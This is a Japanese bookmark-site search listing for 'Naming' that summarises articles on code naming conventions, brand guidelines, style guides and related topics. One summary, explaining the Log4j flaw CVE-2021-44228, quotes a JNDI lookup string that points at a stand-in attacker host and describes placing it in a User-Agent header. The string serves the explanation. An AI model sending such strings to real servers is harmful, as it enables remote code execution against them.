並び順

ブックマーク数

期間指定

  • から
  • まで

41 - 80 件 / 1091件

新着順 人気順

Namingの検索結果41 - 80 件 / 1091件

  • 「◯◯GPT」や「ChatGPT搭載」はNG 米OpenAIがブランドガイドライン公開

    米OpneAIは現地時間4月24日、ChatGPTなどOpenAIブランドを利用する際のガイドラインを公開した。ロゴマークやその利用方法、また「ChatGPT」などの文言を利用する際の注意点が記されている。 例えば、OpenAIのAPIを利用した製品について「◯◯GPT」「GPT-4搭載の◯◯」「ChatGPT搭載の◯◯」といった表現は使わず、「Powered by GPT-4」や「Built with GPT-4」などの表現を使うよう求めている。また、OpenAIのモデルを指すときはGPT-3、GPT-4、ChatGPT、DALL・Eを使い、Ada、Babbage、Curie、Davinci、GPT-3.5-turboなどのエンジン名を避けるようにとしている。

      「◯◯GPT」や「ChatGPT搭載」はNG 米OpenAIがブランドガイドライン公開
    • 竹雄 on Twitter: "プログラミングをしていて”dataの複数形”を使いたくなることが年に365回くらいあるんですけどどうするのが正解なんですか?"

      プログラミングをしていて”dataの複数形”を使いたくなることが年に365回くらいあるんですけどどうするのが正解なんですか?

        竹雄 on Twitter: "プログラミングをしていて”dataの複数形”を使いたくなることが年に365回くらいあるんですけどどうするのが正解なんですか?"
      • 顧客の名字がブランド選択に及ぼす影響

        人は,自身の名前に含まれた文字を,含まれていない文字に比べて好ましく評価する。この傾向はネームレター効果と呼ばれ,ブランド選択をはじめとする様々な意思決定にも影響を及ぼす。例えば,先行研究によると,Lで始まる名前の消費者(例えば,Lundy)は,他の文字で始まる名前の消費者(例えば,Thomas)に比べ,名前の頭文字が一致するLexusを購入する傾向がある。本研究では,ブランド・ネームが漢字で表記されている場合,ネームレター効果がどのように生じるのかについて検討した。先行研究によると,漢字は聴覚情報ではなく,視覚情報として処理される。この言語的性質を踏まえ,漢字のネームレター効果は,ブランド・ネームと顧客の姓における表記(vs. 読み)の一致によって生じると予測した。総合胃腸薬の購買データを分析した結果,表記と読みが太田胃散と一致する太田姓の消費者は,読みのみが一致する姓(例えば,大田姓や

        • Twitter、コードやドキュメント内の用語「Whitelist/Blacklist」「Master/Slave」「Dummy value」などを好ましい用語へ置き換え、具体例も発表

          Twitter、コードやドキュメント内の用語「Whitelist/Blacklist」「Master/Slave」「Dummy value」などを好ましい用語へ置き換え、具体例も発表 Twitterエンジニアリングチームは、同社のソースコードやドキュメントで使われてる差別につながりかねない用語を、好ましい用語に置き換えると発表しました。 We’re starting with a set of words we want to move away from using in favor of more inclusive language, such as: pic.twitter.com/6SMGd9celn — Twitter Engineering (@TwitterEng) July 2, 2020 上記のように、同社のエンジニアリングチームは「インクルーシブな言語は、誰もが属する

            Twitter、コードやドキュメント内の用語「Whitelist/Blacklist」「Master/Slave」「Dummy value」などを好ましい用語へ置き換え、具体例も発表
          • タスクに「〜対応」という名前をつけるのを避けたい理由 - kymmt

            先日同僚と雑談的に話してたことを書いておく。ソフトウェア開発のバックログにおける話です。 「〜対応」とは 主に差し込みで入ったタスクやなにか早めに単一の解決したい事象のためのタスクに名付けられやすい名前。 あくまでも例としてだが 「マーケから割引データ表示依頼対応」 「監視アラート対応」 みたいなやつ。「〜対応」というのは日本語としてはかなり便利なので、とりあえずバックログに入れておきたいときに使いがち。 なぜ避けたいか 完了基準があいまいになる タスクを流していく際の問題。 バックログ上のタスクは完了基準を定めておかないと、作業スコープがどんどん広がったり、完了したかどうかを確認する人から見ると完了していないということが作業後にわかったりして不便。「〜対応」という名前をつけるタスクは、そもそもの作業スコープがはっきりしていないことが多く、結果として、作業を始める前に関係者との認識合わせが

              タスクに「〜対応」という名前をつけるのを避けたい理由 - kymmt
            • 実は大量にあるWindowsのファイルパス記述方法まとめ

              macOSやLinuxではファイルパスの記述方法が非常にシンプルですが、Windowsには幾通りものファイルパス記述方法が存在しています。そんなWindowsのファイルパスについて調査した結果を、ファイル管理アプリ「Fileside」を開発するErik Jälevik氏がまとめています。 The weird world of Windows file paths | Fileside https://www.fileside.app/blog/2023-03-17_windows-file-paths/ Windows システムのファイル パス形式 | Microsoft Learn https://learn.microsoft.com/ja-jp/dotnet/standard/io/file-path-formats ファイルパスには、各ファイルまでの道筋をすべて記述する「絶対パス」

                実は大量にあるWindowsのファイルパス記述方法まとめ
              • Docker Compose Watchのすすめ - Hatena Developer Blog

                やあ!id:cockscombです。日々の生活に役立つちょっとした知識を紹介していきます。最近は、Apple WatchやPixel Watchみたいな、ナントカWatchのリリースが多いですね。でも今日紹介するのは、WatchはWatchでも、Docker Compose Watchです。 Docker Composeは、複数のコンテナを扱った開発に用いる道具で、コンテナを活用した開発では当たり前に使われている。そのDocker Composeに、ファイルの変更を監視してコンテナの再構成を行わせるのが、Docker Compose Watchだ。Docker Compose 2.22以降で利用できる。最新のDocker Desktopにも付属している。 ホットリロードとコンテナ開発 Docker Compose Watchがどういうものかを説明する前に、Next.jsのホットリロードにつ

                  Docker Compose Watchのすすめ - Hatena Developer Blog
                • Popular git config options

                  Hello! I always wish that command line tools came with data about how popular their various options are, like: “basically nobody uses this one” “80% of people use this, probably take a look” “this one has 6 possible values but people only really use these 2 in practice” So I asked about people’s favourite git config options on Mastodon: what are your favourite git config options to set? Right now

                  • 商業施設名は引き続き「ヒカリエ化」しているのか

                    渋谷ヒカリエの隣に「渋谷アクシュ」ができるという。ヒカリエ、ソラマチ、キラリナの流れはいまでも連綿と続いているのだろうか。 渋谷ヒカリエの隣に渋谷アクシュができるらしい まもなく、渋谷ヒカリエの裏に渋谷アクシュという商業施設ができるらしい。 渋谷アクシュ(SHIBUYA AXSH) 2024年上期に開業予定 見に行ったところ外観は既にほとんどできていた。左上のほうにちょっと見えているのがヒカリエの外壁だ。まさに真隣にあることが分かる。 ぼくはこの「アクシュ」という名前にすっかり驚いてしまった。というのも、商業施設名として「ヒカリエ」とか「サカス」みたいに日本語をもとにしたものが増えている、という記事を10年前に書いたことがあるからだ。そのときはどこまで続く流れか分からなかった。 商業施設名が日本語化している、という記事を書いた それは「商業施設名がヒカリエ化している」という記事だ。 当時、

                      商業施設名は引き続き「ヒカリエ化」しているのか
                    • 最強ローカルLLM実行環境としてのEmacs

                      みなさん、ローカルLLMで遊んでいますか? 昨年末に、Ollamaが登場してから誰でも簡単にローカルLLMで遊べる時代がやってきました。そこで、僕もローカルLLMでどんなことができるんだろうと思って触りはじめたのですが、ローカルLLMを最大限に活用するためには、まずはどうやったらEmacsからローカルLLMを使えるようになるのかと考えるのはあまりにも自然な流れでした。 この記事では、ローカルLLMに関する基本的な知識から、EmacsからローカルLLMを扱う方法までを解説していきたいと思います。 ローカルLLMの基礎知識 # ローカルLLMとは、LLM(大規模言語モデル)をローカル環境、つまり自分のパソコンで扱えるようにしたモデルです。Facebookが開発しているLlamaが業界のトップランナーで、それをベースにしたモデルを色々な組織(中には個人もいるのかも)が開発しています。 そのLla

                        最強ローカルLLM実行環境としてのEmacs
                      • インドはなぜ国名を「バーラト」に変更?

                        第18回20カ国・地域首脳会議(G20サミット)が9~10日、インドのニューデリーで開催されました。議長国を務めるインドのムルム大統領は各国の指導者に送った夕食会の招待状で、自身を「インド大統領」ではなく「バーラト大統領」と呼びました。こうした異例の行動に世界中のメディアが大きな関心を寄せています。 インド国内では国名をめぐり随分前から議論が行われてきました。言語学者の考証によりますと、「インド」という言葉はサンスクリット語の「Sindhu」に由来し、本意は「川」で、「インド川」を指します。この言葉はギリシャ語の「Indu」として欧州に伝わり、英語の「India」となりました。しかしインド人にとって「India」は外来語であり、「バーラト」と自称してきました。古代インドの史詩「マハーバーラタ」では、「バーラト」はもともと古代インドの偉大な王で、後にインドの国家に対する自称となりました。イン

                        • Log4Shell: RCE 0-day exploit found in log4j, a popular Java logging package | LunaTrace

                          Originally Posted @ December 9th & Last Updated @ August 1st, 3:30pm PDT Fixing Log4Shell? Claim a free vulnerability scan on our dedicated security platform and generate a detailed report in minutes. What is it?​On Thursday, December 9th a 0-day exploit in the popular Java logging library log4j (version 2), called Log4Shell, was discovered that results in Remote Code Execution (RCE) simply by log

                            Log4Shell: RCE 0-day exploit found in log4j, a popular Java logging package | LunaTrace
                          • RFC の URL はどのドメインで貼るのが良いか | blog.jxck.io

                            Intro IETF の RFC は、いくつかの場所で同じものが公開されている。 どの URL が最適なのか、という話。 結論は www.rfc-editor.org だ。 RFC Hosting Site 例えば RFC 9110 - HTTP Semantics で言うと、以下の 4 つがある。 https://tools.ietf.org/html/rfc9110 https://datatracker.ietf.org/doc/html/rfc9110 https://www.rfc-editor.org/rfc/rfc9110.html https://httpwg.org/specs/rfc9110.html まずは、これらの違いを簡単に解説する。 tools.ietf.org IETF がホストする RFC は、 tools.ietf.org だった。 RFC 2616: H

                              RFC の URL はどのドメインで貼るのが良いか | blog.jxck.io
                            • これでもうCSSのクラス名は迷わない!BEMの命名規則をまとめたチートシート -BEM Naming Cheat Sheet

                              これでもうCSSのクラス名は迷わない!BEMの命名規則をまとめたチートシート -BEM Naming Cheat Sheet

                                これでもうCSSのクラス名は迷わない!BEMの命名規則をまとめたチートシート -BEM Naming Cheat Sheet
                              • 【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について

                                JNDI とはJava Naming and Directory Interface という、Java アプリケーションが DNS や LDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。 Log4j と JNDI lookupApache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。 CVE-2021-44228 の攻撃シーケンスの例 攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。脆弱性のあるサーバの Java App はその通信を

                                  【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について
                                • お前らがモメるあのお菓子の名前をAI様が決めてくださったぞ「悪くないセンスしてるw」「新たな火種を入れるAIさん」

                                  この戦争に終息はないようだ…

                                    お前らがモメるあのお菓子の名前をAI様が決めてくださったぞ「悪くないセンスしてるw」「新たな火種を入れるAIさん」
                                  • 変数名とか関数名つけるの難しい

                                    長過ぎるとわかりにくいし端折りすぎると何がなんだかわからなくなる

                                      変数名とか関数名つけるの難しい
                                    • 関心の分離を意識した名前設計で巨大クラスを爆殺する - Qiita

                                      大量のメソッドを保有し、数千、数万行単位にぶくぶく膨れ上がった巨大クラス。別名「神クラス」とも「大きな泥団子」とも呼ばれる、長大で複雑で、様々なクラスと密結合で極めて変更が困難なアイツ。 そんな巨大クラスの退治に有効な、命名に関する考え方を紹介致します。 解決したい課題、狙う効果 数千、数万行単位の巨大クラスの登場を抑止する。 巨大クラスを爆砕し、小さなクラス群に分割する。 クラス結合度を下げ、影響範囲を小さくすることで保守コストや変更コストを下げる。 ダメな例 例えばECサイトの「商品」を考えてみます。 よくありがちなのは、商品をそのまま「商品クラス」と設計してしまうこと。 単純な商品クラスは、往々にして出品、予約、注文、発送など、様々なユースケースのクラスと結合してしまいがちです。 商品クラス自体も、結合したクラスに関連する知識(ロジック)を持ち始め、どんどん巨大化複雑化していきます。

                                        関心の分離を意識した名前設計で巨大クラスを爆殺する - Qiita
                                      • 「サインイン」「ログイン」「ログオン」「ログオフ」の使い分けは必要か | スラド IT

                                        「サインイン」「ログイン」「ログオン」「ログオフ」という言葉は、日本人だとなんとなく同じような感覚で扱われることがほとんどだが、海外サービスでは使い分けされていることもあるらしい。タレコミにあるように、このことがTwitterで話題になっていたようだ。この用語の違いは昔から指摘されているようで、ネット上ではいくつもの記事が上がっているが、CloudSEや社会人のためのビジネス情報マガジン、例文買取センターの記事などがコンパクトにまとまっている。CloudSEによると「ログオン」「ログオフ」はマイクロソフトの独自戦略として使われ始めたらしい。なお、日本企業のサービスでも英語版を作る場合は使い方に注意がいるといった指摘も見られる(CloudSE、社会人のためのビジネス情報マガジン、例文買取センター)。 あるAnonymous Coward 曰く、 「ログイン」は昔の船乗りの用語だ一般人向けには

                                        • 【サービス名変更のお知らせ】「Scrapbox」は「Helpfeel Cosense(ヘルプフィール コセンス)」に変わります

                                          【サービス名変更のお知らせ】「Scrapbox」は「Helpfeel Cosense(ヘルプフィール コセンス)」に変わりますナレッジはみんなで作り上げる時代へ。組織が変わるナレッジイネーブルメントツール 株式会社Helpfeel(ヘルプフィール、京都府京都市、代表取締役/CEO:洛西 一周、以下「当社」)は、ナレッジ共有サービス「Scrapbox」の名称を、本日より「Helpfeel Cosense(ヘルプフィール コセンス)」に変更したことをお知らせいたします。 サービス名の変更を機に「Helpfeel Cosense(コセンス)」は、個人の暗黙知を組織のナレッジとして共有資産にしていく文化を日本に根付かせることで、組織の新たな価値創造への貢献を目指してまいります。 ◾️サービス名変更の背景 「Scrapbox」は、手軽に知識をアウトプットできるドキュメント共有サービスです。サービスを

                                            【サービス名変更のお知らせ】「Scrapbox」は「Helpfeel Cosense(ヘルプフィール コセンス)」に変わります
                                          • Pythonのアンダースコア( _ )を使いこなそう!

                                            Pythonは一番書きやすいプログラミング言語と知られ、多くの人の第二外国語(英語に次ぎ)です。でもGithubやGitlabで他人のコードを参照した時や自分でclassを書いてる時、こういう疑問はあったでしょうか: 「def __init__(self): の__init__のアンダースコアは何故二つなのか?」 「def _func(x): と def func(x): とdef func_(x): に違いはあるのか?」 「y, _ = func(x)のアンダースコアは何か?」 そんな色んな所で使われてるアンダースコアの使い方を、今回整理して説明してみました! アンダースコアの使い場所Return値を無視する。関数の名付けで使い方を区別する。数字を読みやすくする。インタプリタで最後に表示された値を代表する。以上4種類の状況でアンダースコアを使いこなす事により、読みやすいpythonicな

                                              Pythonのアンダースコア( _ )を使いこなそう!
                                            • 『良いコード/悪いコードで学ぶ設計入門』を読んで気になったことのメモ

                                              はじめに 話題となっている『良いコード/悪いコードで学ぶ設計入門 ―保守しやすい 成長し続けるコードの書き方』 (出版社のページ) を読みました。 全体的には「うんうん、そうだよね」と同意できることが多かったです。 もちろん、初めて目にするような考え方, アイディア, テクニックもありました。 一方、気になったことやちょっと引っかかったこともありましたので、メモしておきます。 あくまでもメモなので結論のようなことはありません。 p.55: HitPoint.isZero HitPoint クラスに isZero メソッドがあります。 「ヒットポイントがゼロであれば true」という仕様で、実装は次のようになっています。

                                                『良いコード/悪いコードで学ぶ設計入門』を読んで気になったことのメモ
                                              • Appleが「i」で始まる製品名をやめてしまった理由 - iPhone Mania

                                                Apple製品には、iPhone、iMac、iPodと製品名が「i」で始まるものが多かったのですが、最近のAppleは「i」で始まる名称の製品を発売していません。その理由を海外メディアiDropNewsが考察しています。 iMac、iPod、iPhone、iPadという栄光の「i」 製品名に「i」がつくApple製品として最初に発売されたのは、1998年のiMacでした。 「i」には、「インターネット」の意味がありました。当時、一般的には普及途上だったインターネットを簡単に使えるiMacの製品特徴をうまく表現したネーミングでした。 「i」には、インターネットのほか、「individual(個人の)」「inform(知らせる)」「inspire(奮い立たせる)」などの意味も込められているとされています。 iMacに続き、AppleはiPod、iPhone、iPadを投入し、いずれも大成功を収

                                                  Appleが「i」で始まる製品名をやめてしまった理由 - iPhone Mania
                                                • Secrets from the Algorithm: Google Search’s Internal Engineering Documentation Has Leaked

                                                  Watch Our Google Algorithm Leak Webinar Replay Google, if you’re reading this, it’s too late. Ok. Cracks knuckles. Let’s get right to the Google algorithm leak. Internal documentation for Google Search’s Content Warehouse API has been discovered. Google’s internal microservices appear to mirror what Google Cloud Platform offers and the internal version of documentation for the deprecated Document

                                                    Secrets from the Algorithm: Google Search’s Internal Engineering Documentation Has Leaked
                                                  • 定番のコード規約とライブラリから学ぶJavaScriptの命名テクニック(初級編) - ICS MEDIA

                                                    プログラミングをしているとき、変数名や関数名の命名に迷ったことはないでしょうか? 時間をかけて考えた変数名や関数名を後で見返したときに何の処理なのかわからないと思ったり、他の人が書いたコードを理解するのに時間がかかった経験は誰でもあると思います。 一般に、プログラマーはコードを書いている時間より読んでいる時間の方が長いと言われています。 わかりにくい命名はコードを読んでいる時間を長くしたり、バグを生む原因になってしまいます。 この記事ではGoogleやAirbnbといった企業が採用しているスタイルガイドや、世界中で使われているJavaScriptライブラリであるReactとVue.jsのコードを調査する中で見つけた、わかりやすい命名をするためのテクニックを初級編と上級編の2回に分けて紹介します。 初級編では、実際に仕事をする中でよく目にしたり自分でも使うことの多いものなど、すぐに使えるテク

                                                      定番のコード規約とライブラリから学ぶJavaScriptの命名テクニック(初級編) - ICS MEDIA
                                                    • Go Style

                                                      Documents The Style Guide outlines the foundation of Go style at Google. This document is definitive and is used as the basis for the recommendations in Style Decisions and Best Practices. Style Decisions is a more verbose document that summarizes decisions on specific style points and discusses the reasoning behind the decisions where appropriate. These decisions may occasionally change based on

                                                      • 他言語プログラマが最低限、気にすべきGoのネーミングルール

                                                        概要 タイトルの通り、他言語から入門した人が最低限気にするべき、ネーミングルールをまとめました。 対象読者 Goの基本構文を理解している人を対象読者としています。 この記事で説明すること、説明しないこと 説明すること Goのファイル名、変数名などの名前付けに関するルールや慣例などを説明します。 説明しないこと 名前付け以外で気をつけるべきGoの書き方[1] がいくつかあります。 しかし、それらに関してはこの記事では説明しません。 筆者のバックグラウンド プログラマ歴はもうすぐ8年程で、Goの他には以下のような言語の経験があります。 JavaScript TypeScript PHP Ruby Java Scala Goは少し前に書いて、一時期書かない時期が続いていましたが、最近また書いています。 トータルするとGoの経験は1年半程度です。 意識すべき名前付けルール package名 利用し

                                                          他言語プログラマが最低限、気にすべきGoのネーミングルール
                                                        • Wikipedia公式の「不毛なWikipedia編集合戦」事例集

                                                          誰でも編集できるフリー百科事典のWikipediaには質の高い記事が多く存在しており、それらはWikipediaの編集に心血を注ぐ「ウィキペディアン」によって作成されていますが、時には生産性のない編集合戦が繰り広げられることも。こうした不毛な争いが行われた記事を特集したWikipediaの項目があったので、その中から興味深いものや日本人にとって身近なものをピックアップしてみました。 Wikipedia:Lamest edit wars - Wikipedia https://en.wikipedia.org/wiki/Wikipedia:Lamest_edit_wars ◆民族と国家の確執 Wikipediaの「不毛な編集合戦」のリストはいくつかの項目に分かれており、この民族や国にまつわる争いの項目にはショパンやニコラ・テスラなどの有名人の人種や出身国などを巡る議論が含まれています。 特に

                                                            Wikipedia公式の「不毛なWikipedia編集合戦」事例集
                                                          • 命名のプロセス - kawasima

                                                            多くの人が、1回で最高の命名をしようとする。これは難しく、うまく行くことなんて滅多にない。問題はネーミングというのは設計であるということだ。あらゆるものに収まりの良い場所を与え、正しい抽象化をしなくてはならない。これを最初の1回で完璧にこなせる可能性は低い。だから進化的ネーミングについて話をしよう。

                                                              命名のプロセス - kawasima
                                                            • ECSのオペレーションを劇的に簡略化するAWS Copilotが発表されました! | DevelopersIO

                                                              ECSの運用において作成しなければならない膨大なAWSリソースを劇的に簡単なコマンドでまるっと作成〜運用〜管理できるコマンドラインツールCopilotの紹介です。 「いざECSの運用はじめようとしても、作らないといけないものめっちゃあるよなぁ。正直しんどい…」 ECS環境の構築って考慮が必要な項目ってものすごく多いんですよね。ネットワーク関連、ロードバランサー、リポジトリ、データベース、ECSそのもの、さらにそれをデプロイするためのパイプラインやデプロイ設定。 そんな辛さを一気に解消するAWS Copilotが発表されました! AWS Copilot のご紹介 | Amazon Web Services ブログ 英語のブログ記事と同じタイミングで日本語がでるとは、toriの人も相当気合が入ってますね! Amazon ECS でのコンテナ実行に新たな体験を提供する AWS Copilot の

                                                                ECSのオペレーションを劇的に簡略化するAWS Copilotが発表されました! | DevelopersIO
                                                              • Building a Simple DB in Rust - Part 1 - Parsing

                                                                This article is part of the Building a Simple DB in Rust series. While I've used rust for a while and have had a few small projects in it, I felt like I was missing a truly "systems" project. So when I came across this series for making a simple DB in C, I figured why not try to make my basic DB in rust. I will roughly follow the structure of that series at first, but I will most likely deviate an

                                                                • Python の __init__.py とは何なのか - Qiita

                                                                  Python を使い始めると、ディレクトリの階層で分けてファイルを管理したくなります。 そこで出てくるのが __init__.py ファイル。 これは一体何者なのか。 色々と情報がころがってはいるものの、なかなか納得行くように説明しているものが見当たりません。 Python のドキュメントでも、何を参照すれば正解なのかがわかりにくい1。 ということで、__init__.py についてまとめてみました。(少し長いです) 読み物形式で書いていますので、結論(「__init__.py の役割」)だけ見たい方はスクロールして最後の方を読んでください。 python コードの例は、主に 3.6/3.5 を使用しています2。 「モジュール」と「パッケージ」と「名前空間」 モジュールと階層構造 単一ファイルのモジュール ディレクトリによる階層構造と名前空間 ディレクトリと名前空間のマッピング __ini

                                                                    Python の __init__.py とは何なのか - Qiita
                                                                  • Intelligent Tracking Prevention 2.3

                                                                    Note: Read about past updates to this technology in other blog posts about Intelligent Tracking Prevention, the Storage Access API, and ITP Debug Mode. Intelligent Tracking Prevention (ITP) version 2.3 is included in Safari on iOS 13, the iPadOS beta, and Safari 13 on macOS for Catalina, Mojave, and High Sierra. Enhanced Prevention of Tracking Via Link Decoration Our previous release, ITP 2.2, foc

                                                                      Intelligent Tracking Prevention 2.3
                                                                    • Zoomを安全に利用する4つのポイント。Zoom爆弾や情報漏えいへ対処する。(大元隆志) - エキスパート - Yahoo!ニュース

                                                                      セキュリティの不備が相次いで指摘されるZoomを安全に利用するには?(写真:ペイレスイメージズ/アフロイメージマート) 新型コロナウィルスの感染拡大を受けて、ビデオ会議を提供するクラウドサービス「Zoom」の利用者が急増している。一方で、利用者が急増した反動で「安全面」への指摘も急増している。この一週間だけに限定しても様々な問題点が指摘された。本記事では、相次いで指摘されたZoomのセキュリティ不備に対して、いかに対応すべきかを記載する。 ■相次ぐZoomの安全面への指摘 Zoomに関する主要なセキュリティ上の指摘は以下の四点が有る。 1) 暗号化に関する懸念 Zoom社は当初Zoomにおける通信は「エンドツーエンドの暗号化によって保護されている」と謳っていたが、セキュリティ業界からZoomの暗号化はエンドツーエンドの暗号化ではないのではないか?との指摘を受けた。「エンドツーエンドの暗号化

                                                                        Zoomを安全に利用する4つのポイント。Zoom爆弾や情報漏えいへ対処する。(大元隆志) - エキスパート - Yahoo!ニュース
                                                                      • Pythonのコード改善のためのツール5つを試してみた - minus9d's diary

                                                                        Pythonのコードを改善するためのツールについて一通り試してみました。各ツールのインストール方法や使い方については Pythonのスタイルガイドとそれを守るための各種Lint・解析ツール5種まとめ! - Sider Blog に詳細にまとまっているのでおすすめです。 サンプルコード 以下のサンプルコードを対象に、各ツールの出力を確かめてみます。 import time import sys import fractions def func1(varA,varB): '''return sum of a and b''' varC = 42 return (varA + varB) print(func1(fractions.Fraction(1, 2), fractions.Fraction(1, 3))) 3 + 5 sys.exit(0) このスクリプトをsample.pyという名

                                                                          Pythonのコード改善のためのツール5つを試してみた - minus9d's diary
                                                                        • Terraform 公式がスタイルガイドを出したので読んで要約した - Qiita

                                                                          3/30 に X で Terraform がトレンド入りしていて何事かと思ったら Terraform が公式ドキュメントとしてスタイルガイドを出したようです。 Terraform Style Guide いままで Terraform のスタイルに関して信頼できるドキュメントといえば Google Cloud の Terraform を使用するためのベスト プラクティス ぐらいしか知らなかったのですが、 Terraform 公式がようやく出してくれてありがたい限りです。 これでわざわざ社内の Terraform 規約を設けずとも「公式ドキュメントに従いましょう。」の一言で済みます。 ということで一通り読んだのでまとめました。 原文だと構文の簡単な使い方なども書いてありますが以下の要約ではだいたい省略しています。 詳細は原文を読んで確認してください。 要約 スタイルガイドについて コードのスタ

                                                                            Terraform 公式がスタイルガイドを出したので読んで要約した - Qiita
                                                                          • どんなウイルスで、どのように感染するのか? 新型コロナウイルスのそもそも論(峰宗太郎) - エキスパート - Yahoo!ニュース

                                                                            世界中で猛威を振るっている新型コロナウイルスについて、トランプ米政権が、中国湖北省武漢市内のウイルス研究所が発生源となった可能性について調査を始めています。研究所内でコロナウイルスがコウモリから人に感染して広まったなどとの報道もありますが、そもそも新型コロナウイルスとはどういったものなのでしょうか。 改めて基本的なことを見直しつつ、後半では感染力や感染ルート、致死率などいくつかのトピックについて、簡単にみてみたいと思います。 今回の新型コロナウイルスの名前について 流行している新型コロナウイルスの正式名称は severe acute respiratory syndrome coronavirus 2(SARS-CoV-2) というものです。そして、この SARS-CoV-2 によって引き起こされる「病気」のことを COVID-19 (コヴィッド ナインティーンと発音) といいます。 ●I

                                                                              どんなウイルスで、どのように感染するのか? 新型コロナウイルスのそもそも論(峰宗太郎) - エキスパート - Yahoo!ニュース
                                                                            • Next.jsを4年間使用してたどりついた、エンタープライズアプリケーションのフロントエンド開発・構築手法 | POSTD

                                                                              はじめに 目まぐるしく進化するフロントエンド開発の世界では、常に最新の知識や技術をいち早く取り入れることが、エンタープライズアプリケーションの開発を成功させる上で欠かせません。Tailwind CSS、TypeScript、Turborepo、ESLint、React Queryなどを含む強力なツールキットとNext.jsを4年間使用してきた結果、開発に役立つさまざまな知見やベストプラクティスが得られました。この記事では、大企業向けフロントエンドアプリケーションのパフォーマンス、保守性、拡張性を最大限に高める設計・構築手法を紹介したいと思います。 注記:ここに記載する内容はあくまでも個人的な見解であり、筆者が推奨する手法が必ずしも適さない場合もあります。 効果的なエンタープライズ向けフロントエンドアーキテクチャの基本原則 エンタープライズ規模のアプリケーション向けにフロントエンドソリューシ

                                                                                Next.jsを4年間使用してたどりついた、エンタープライズアプリケーションのフロントエンド開発・構築手法 | POSTD
                                                                              • Terraformアンチパターン(2019年版) - Qiita

                                                                                はじめに Infrastructure as Code(以下IaCと略します)って最近では当たり前のように実践されてますよね。特にterraformはかなりユーザが多く、開発のスピードも速い印象です。 IaCを実現できたインフラエンジニアの皆さんの多くが次に直面する問題はコードの保守運用に関する事柄ではないでしょうか? terraformもコードなので、アプリケーションのコードと同じように保守性(テスト容易性、理解容易性、変更容易性)を意識する必要があります。ただコード化しただけでは属人性を排除したとは言えないと思います。 保守性の高いterraformって具体的にどう書けばいいの?と周りに聞いてみても、巷には「ぼくのかんがえた最強のterraformベストプラクティス」が乱立していて、自転車置き場の議論になりがちです。 また、v0.12前後でterraformの記法が大きく変わったので、

                                                                                  Terraformアンチパターン(2019年版) - Qiita
                                                                                • Atomic CSS-in-JS

                                                                                  With utility/atomic CSS, we acknowledge it’s ok to couple the structure and presentation layers: when we need to change the button color, we modify the HTML, not the CSS. This tight coupling is also acknowledged in modern CSS-in-JS React codebases, but it seems the CSS world figured out first that the “separation of concern” of the web didn’t feel right. Specificity is also less a problem, as we u

                                                                                    Atomic CSS-in-JS